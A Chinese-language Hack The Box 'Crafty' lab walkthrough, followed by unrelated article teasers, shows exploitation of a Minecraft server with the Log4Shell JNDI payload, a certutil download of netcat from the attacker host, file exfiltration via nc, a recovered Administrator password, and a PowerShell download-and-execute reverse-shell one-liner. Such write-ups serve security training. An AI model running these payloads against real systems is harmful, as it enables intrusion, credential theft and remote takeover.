Hack The Box-Crafty

目录

信息收集

rustscan

whatweb

WEB

漏洞利用

漏洞说明

漏洞验证

提权

get user.txt

get Administrator

总结

信息收集

rustscan
┌──(root㉿ru)-[~/kali/hackthebox]
└─# rustscan -a 10.10.11.249 --range=0-65535 --ulimit=5000 -- -A -sC
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.249:80
Open 10.10.11.249:25565
[~] Starting Nmap
[>] The Nmap command to be run is nmap -A -sC -vvv -p 80,25565 10.10.11.249

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-07 13:37 CST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
Initiating Ping Scan at 13:37
Scanning 10.10.11.249 [4 ports]
Completed Ping Scan at 13:37, 2.32s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:37
Scanning crafty.htb (10.10.11.249) [2 ports]
Discovered open port 80/tcp on 10.10.11.249
Discovered open port 25565/tcp on 10.10.11.249
Completed SYN Stealth Scan at 13:37, 0.30s elapsed (2 total ports)
Initiating Service scan at 13:37
Scanning 2 services on crafty.htb (10.10.11.249)
Completed Service scan at 13:37, 9.57s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against crafty.htb (10.10.11.249)
Retrying OS detection (try #2) against crafty.htb (10.10.11.249)
Initiating Traceroute at 13:37
Completed Traceroute at 13:37, 0.30s elapsed
Initiating Parallel DNS resolution of 1 host. at 13:37
Completed Parallel DNS resolution of 1 host. at 13:37, 2.02s elapsed
DNS resolution of 1 IPs took 2.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
NSE: Script scanning 10.10.11.249.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 6.49s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 3.41s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
Nmap scan report for crafty.htb (10.10.11.249)
Host is up, received echo-reply ttl 127 (0.26s latency).
Scanned at 2024-03-07 13:37:12 CST for 31s

PORT      STATE SERVICE   REASON          VERSION
80/tcp    open  http      syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: Crafty - Official Website
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
25565/tcp open  minecraft syn-ack ttl 127 Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (88%)
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2019 (88%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.94SVN%E=4%D=3/7%OT=80%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=65E952A7%P=x86_64-pc-linux-gnu)
SEQ(TI=I%II=I%SS=S%TS=U)
SEQ(SP=101%GCD=1%ISR=108%TI=I%II=I%SS=S%TS=U)
OPS(O1=M53CNW8NNS%O2=M53CNW8NNS%O3=M53CNW8%O4=M53CNW8NNS%O5=M53CNW8NNS%O6=M53CNNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M53CNW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)

Network Distance: 2 hops
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   276.70 ms 10.10.14.1
2   276.75 ms crafty.htb (10.10.11.249)

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.48 seconds
           Raw packets sent: 100 (8.148KB) | Rcvd: 33 (2.040KB)
从这可以看出。目标主机是一台windows主机,使用的是IIS 10.0服务器!

而且出现域名 crafty.htb  ,我们加入到hosts文件中!

本台机器一共开放了两个端口 80和25565端口!

80/tcp    open  http      syn-ack ttl 127 Microsoft IIS httpd 10.0
25565/tcp open  minecraft syn-ack ttl 127 Minecraft 1.16.5


whatweb
┌──(root㉿ru)-[~/kali/hackthebox]
└─# whatweb http://crafty.htb/
http://crafty.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.249], JQuery[3.6.0], Microsoft-IIS[10.0], Script[text/javascript], Title[Crafty - Official Website]

WEB

 在主页发现子域名!经过尝试,没啥用!使用端口扫描器也没有探查到什么有用的东西!
 
 但是25565端口经过访问,发现有用的东西!

没错,就是这串java代码!我记得25565存在log4j漏洞!

确切地说,是 CVE-2021–44228。这个漏洞允许我们控制日志消息和参数来执行任意代码!!!

以下是此漏洞的poc!!!我们下载到本地去!

GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.icon-default.png?t=N7T8https://github.com/kozmer/log4j-shell-poc?source=post_page-----316a735a306d--------------------------------


漏洞利用

漏洞说明

因为目标主机是windows,所以我们改成 cmd.exe

为了让“poc.py”顺利运行,我们需要一个名为“jdk1.8.0_20”的java存档。我找到了一个java存档

https://repo.huaweicloud.com/java/jdk/8u181-b13/

我们需要把他下载到log4j的目录内!

下载链接: https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz

解压出来

tar -xf jdk-8u181-linux-x64.tar.gz


然后我们需要下载一个PyCraft ,它由 Python 编写的 Minecraft 客户端,它允许玩家使用 Python 编程语言来控制 Minecraft 游戏中的各种元素,
包括创建自动化过程、修改游戏中的世界、添加新功能等。

我们需要下载一个,因为根据网站页面提示,就是mc服务器存在漏洞!版本是1.16.5

https://github.com/ammaraskar/pyCraft?source=post_page-----316a735a306d--------------------------------icon-default.png?t=N7T8https://github.com/ammaraskar/pyCraft?source=post_page-----316a735a306d--------------------------------


然后,我们需要设置一个虚拟环境供 pyCraft 运行

virtualenv ENV

source ENV/bin/activate

pip install -r requirements.txt

------------------------------------
virtualenv ENV: 这是创建一个名为 ENV 的虚拟环境的命令。虚拟环境用于隔离项目的依赖,确保项目中使用的库和工具不会与系统中的其他项目冲突。

source ENV/bin/activate: 这是激活虚拟环境的命令。在虚拟环境中运行的所有命令和脚本将使用该环境中的 Python 解释器和依赖项。

pip install -r requirements.txt: 这是使用 pip 安装项目所需的依赖项的命令。通常,项目的依赖项会列在一个名为 requirements.txt 的文件中,
该命令会根据该文件安装所有必要的库。


漏洞验证
做完这些,我们需要一个监听器!我们需要利用log4j的poc,在此mc的服务器上进行反弹shell,所以需要一个监听器!

只需要输入Mojang的账号密码即可!但是我懒得注册,所以我们采用另一种方式

就是直接去下载相应版本的游戏,因为该漏洞是存在mc游戏服务器里面的!我们只需要下载相应版本的游戏,再连接服务器,再次执行log4j漏洞的payload,即可触发该漏洞!


先在官网下载debian版本的mc,然后打开程序,下载一个版本是1.16.5的mc即可!然后打开!

打开发现是试玩模式,无法远程连接服务器,需要另外的解决办法

经过我不断地寻找,发现可以使用TLauncher来进行免登录游玩,具体步骤如下

  先安装一个TLauncher的jdk1.8依赖环境,我们已经安装好了!(记得改个名字 : jdk1.8.0_20)

然后,我们去 https://tlauncher.org/en/ 下载一个 TLauncher

将TLauncher解压后,会有一个jar文件,将其放到下载的jdk的文件夹下,然后启动即可!

会先下载一个库,比较慢!

完成更新之后,随便写一个名字,游戏版本选择 1.16.5版本!即可开始游戏!!

这样就完成了!

选择多人游戏 --> 添加服务器  -->  10.10.11.249:25565  即可!

在游戏的聊天框(按/,然后删除)中发送之前监听的payload : ${jndi:ldap://10.10.14.29:1389/a} 

这样就反弹shell了!

提权

get user.txt

在桌面找到user.txt

get Administrator

在plugins目录下,找到一个jar文件!

我们想办法下载到本地去!使用nc即可,我们先上传一个为windows版nc! (或者使用powershell,因为这个太简单了,所以尝试nc)

certutil.exe -urlcache -split -f http://10.10.14.29:7890/nc.exe nc.exe

certutil.exe:Windows 自带的证书工具程序


在kali开启 nc -lp 3434 > playercounter-1.0-SNAPSHOT.jar 进行接收文件!

在windows上,把jar文件传给kali:  .\nc.exe 10.10.14.29 3434 < c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar

我们使用查看jar包的软件进行查看jar包!

我的建议是使用 JD-GUI 可以查看源码安装方便  apt-get install jd-gui   即可!

我们在源码中发现一个类似于密码的字符串!可能是管理员的!我们尝试!

1、$SecPass = ConvertTo-SecureString 's67u84zKq8IXw' -AsPlainText -Force
2、$cred = New-Object System.Management.Automation.PScredential('Administrator',$SecPass)
3、Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.29:5454/shell.list')" -Credential $cred

这是一个 PowerShell 脚本用于创建一个凭据对象、以管理员身份启动 PowerShell 进程并下载执行 shell.ps1 脚本。

这段代码做了以下几件事情:

1. 创建一个 SecureString 对象 `$SecPass`,并将字符串 `'s67u84zKq8IXw'` 转换为一个安全字符串,用于保存密码。
2. 创建一个 PScredential 对象 `$cred`,该对象使用用户名 `'Administrator'` 和上一步创建的安全字符串作为密码。
3. 使用 Start-Process 命令启动一个新的 PowerShell 进程。命令的参数 `-FilePath "powershell"` 表示要执行的文件是 PowerShell,而 `-argumentlist` 参数指定了要传递给 PowerShell 的命令。
4. 在 `-argumentlist` 中,使用 IEX(Invoke-Expression)和 Net.WebClient 的 downloadString 方法来下载执行位于 `http://10.10.14.29:5454/shell.list` 的远程 PowerShell 脚本。此处的 URL 指向远程服务器上的 shell.ps1 脚本文件。下载的脚本将在以管理员身份启动的 PowerShell 进程中执行。
5. `-Credential $cred` 参数将之前创建的凭据对象传递给新启动的 PowerShell 进程,以确保以管理员身份运行该脚本。

shell.list 自己去生成!  里面的监听端口设置随意的即可!我设置的9999监听端口!

1、$SecPass = ConvertTo-SecureString 's67u84zKq8IXw' -AsPlainText -Force
2、$cred = New-Object System.Management.Automation.PScredential('Administrator',$SecPass)
3、Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.29:5454/shell.list')" -Credential $cred


总结
 通过 nmap 扫描识别出 HTTP 网页和 Minecraft 服务器。
 扫描显示服务器正在运行 IIS 10.0 — IIS 冗长并不是最佳实践。Nmap 服务版本很详细,可以轻松枚举漏洞。
 端口 25565 上的 Minecraft 服务器被识别为 v1.16.5,该服务器存在已知的 Log4j 漏洞,如 CVE-2021-44228 中记录的那样。
 该漏洞允许服务器上的用户输入简单的有效负载来获取服务器上的 shell。虽然某些权限可以限制损害,但存在一种允许使用管理员权限进行权限升级的方法。
 这个将危及用户的机密性,并可能导致服务器的完整性和可用性面临风险。最佳办法就是要求服​​务器立即修补或更新到最新版本

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/448730.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【好书推荐-第十一期】《Java面试八股文:高频面试题与求职攻略一本通(视频解说版)》(博文视点出品)

&#x1f60e; 作者介绍&#xff1a;我是程序员洲洲&#xff0c;一个热爱写作的非著名程序员。CSDN全栈优质领域创作者、华为云博客社区云享专家、阿里云博客社区专家博主、前后端开发、人工智能研究生。公众号&#xff1a;洲与AI。 &#x1f388; 本文专栏&#xff1a;本文收录…

【Linux进阶之路】网络 —— “?“ (下)

文章目录 前言一、概念铺垫1.TCP2.全双工 二、网络版本计算器1. 原理简要2. 实现框架&&代码2.1 封装socket2.2 客户端与服务端2.3 封装与解包2.4 请求与响应2.5 对数据进行处理2.6 主程序逻辑 3.Json的简单使用 总结尾序 前言 在上文我们学习使用套接字的相关接口进行了…

数据结构入门(3)2.链表接口实现

目录 前言 头文件 动态申请一个结点 单链表打印 单链表尾插 单链表的头插 单链表的尾删 单链表头删 单链表查找 单链表在pos位置之后插入x 单链表删除pos位置之后的值 在pos的前面插入 删除pos位置 销毁顺序表 前言 本文将介绍链表常见的功能的实现 头文件 #…

【深度学习】Lora

论文标题&#xff1a;LoRA: Low-Rank Adaptation of Large Language Models 论文链接&#xff1a;https://arxiv.org/abs/2106.09685 论文来源&#xff1a;NVIDIA 1.提出背景 自然语言处理的一个重要范式为使用领域数据对模型进行大规模的预训练 &#xff0c;并适应特定的任务或…

LLM PreTraining from scratch -- 大模型从头开始预训练指北

最近做了一些大模型训练相关的训练相关的技术储备,在内部平台上完成了多机多卡的llm 预训练的尝试,具体的过程大致如下: 数据准备: 大语言模型的训练依赖于与之匹配的语料数据,在开源社区有一群人在自发的整理高质量的语料数据,可以通过 以下的一些链接获取 liwu/MNBVC…

全面认识计算机操作系统(二)

目录 一、操作系统的诞生 相关概念&#xff1a; 1. 手工操作阶段 2. 脱机输入 / 输出阶段 &#xff08;1&#xff09;脱机输入技术 &#xff08;2&#xff09;脱机输出技术 3. 单道批处理阶段 4. 多道批处理阶段 5. 分时技术产生 6. 实时系统产生 二、现代操作系统的…

就业班 2401--3.11 Linux Day15--ftp数据传输测试server和client+谷歌验证码登录远程连接

文件服务器 路漫漫其修远兮&#xff0c;吾将上下而求索.构建NFS远程共享存储 一、NFS介绍 文件系统级别共享&#xff08;是NAS存储&#xff09; --------- 已经做好了格式化&#xff0c;可以直接用。 速度慢比如&#xff1a;nfs&#xff0c;sambaNFS NFS&#xff1a;Networ…

vue3项目安装unplugin-auto-import插件实现按需导入API

1、安装unplugin-auto-import npm i -D unplugin-auto-import2.vite.config.ts文件进行配置 import { defineConfig } from vite import vue from vitejs/plugin-vue import AutoImport from unplugin-auto-import/vite// https://vitejs.dev/config/ export default defineCo…

低代码平台如何选型 盘点国内外主流低代码开发平台

随着数字化转型的加速&#xff0c;低代码开发平台作为一种新型软件开发方式&#xff0c;受到了广泛关注。国内低代码市场也呈现出蓬勃发展的态势&#xff0c;各种低代码平台如雨后春笋般涌现。本文将对国内低代码平台进行盘点&#xff0c;以帮助企业和开发者更好地了解市场情况…

亚马逊多账号怎么防关联?超级浏览器来帮你!

很多做亚马逊跨境电商的小伙伴都会遇到的问题就是多登店铺账号被关联&#xff0c;我们要知道&#xff0c;如果在亚马逊上运营多个店铺&#xff0c;保持账户之间的独立性是很重要的。一旦账户之间被平台识别为关联&#xff0c;不仅可能导致收入损失&#xff0c;还可能面临账号被…

鸿蒙开发(四)-低代码开发

鸿蒙开发(四)-低代码开发 本文主要介绍下鸿蒙下的低代码开发。 鸿蒙低代码是指在鸿蒙操作系统进行应用开发时&#xff0c;采用简化开发流程和减少编码量的方式来提高开发效率。 1&#xff1a;开启低代码开发 首先我们打开DevEco Studio .然后创建工程。 如图所示&#xff…

Java网络编程详解

目录 网络编程 1、概述 2、网络通信的要素 3、IP 4、端口 5、通信协议 6、TCP 文件上传 Tomcat 7、UDP 单方发送单方接受 双方发送接收 8、URL URL测试 URL下载网络资源 网络编程 1、概述 信件&#xff1a; 计算机网络&#xff1a; 计算机网络是指将地理位置不…

微服务配置中心

什么是配置中心 配置中心是一种用于管理应用程序或系统配置信息的中央服务。它允许开发人员在多个环境&#xff08;如开发、测试、生产&#xff09;之间共享配置&#xff0c;并且可以在不停止应用程序的情况下动态更新配置。 配置中心是统一管理各种应用配置的工具。它能够集中…

导出谷歌浏览器收藏的网页,并查看网页保存的登录密码

导出谷歌浏览器&#xff08;Chrome&#xff09;收藏的网页&#xff08;书签&#xff09;&#xff1a; 打开谷歌浏览器。在浏览器右上角找到并点击三个垂直排列的小点&#xff08;或称汉堡菜单&#xff09;以打开主菜单。在下拉菜单中选择“书签” > “书签管理器”。在书签…

R语言扩展包与MaxEnt模型的集成:实现高效的物种分布模拟

在生态学研究中&#xff0c;物种分布模拟是一项至关重要的任务。它有助于我们理解物种与环境之间的复杂关系&#xff0c;预测物种在气候变化或人类活动影响下的潜在分布变化。近年来&#xff0c;随着计算机技术的不断发展&#xff0c;基于机器学习的物种分布模拟方法逐渐成为研…

Day35:安全开发-JavaEE应用原生反序列化重写方法链条分析触发类类加载

目录 Java-原生使用-序列化&反序列化 Java-安全问题-重写方法&触发方法 Java-安全问题-可控其他类重写方法 思维导图 Java知识点&#xff1a; 功能&#xff1a;数据库操作&#xff0c;文件操作&#xff0c;序列化数据&#xff0c;身份验证&#xff0c;框架开发&…

Oracle 层级查询(Hierarchical Queries)

如果一张表中的数据存在分级&#xff08;即数据间存在父子关系&#xff09;&#xff0c;利用普通SQL语句显示数据间的层级关系非常复杂&#xff0c;可能需要多次连接才能完整的展示出完成的层级关系&#xff0c;更困难的是你可能不知道数据到底有多少层。而利用Oracle的层级查询…

java Day7 正则表达式|异常

文章目录 1、正则表达式1.1 常用1.2 字符串匹配&#xff0c;提取&#xff0c;分割 2、异常2.1 运行时异常2.2 编译时异常2.3 自定义异常2.3.1 自定义编译时异常2.3.2 自定义运行时异常 1、正则表达式 就是由一些特定的字符组成&#xff0c;完成一个特定的规则 可以用来校验数据…

一体机电脑辐射超标整改

电脑一体机是目前台式机和笔记本电脑之间的一个新型的市场产物&#xff0c;它将主机部分、显示器部分整合到一起的新形态电脑&#xff0c;该产品的创新在于内部元件的高度集成。随着无线技术的发展&#xff0c;电脑一体机的键盘、鼠标与显示器可实现无线链接&#xff0c;机器只…

NLP:文本相似度计算

前面我们已经实现了把长段的句子&#xff0c;利用HanLP拆分成足够精炼的分词&#xff0c;后面我们要实现“联想”功能&#xff0c;我这里初步只能想到通过文本相似度计算来实现。下面介绍一下文本相似度计算 &#xff08;当然HanLP也有文本相似度计算的方法&#xff0c;这里我…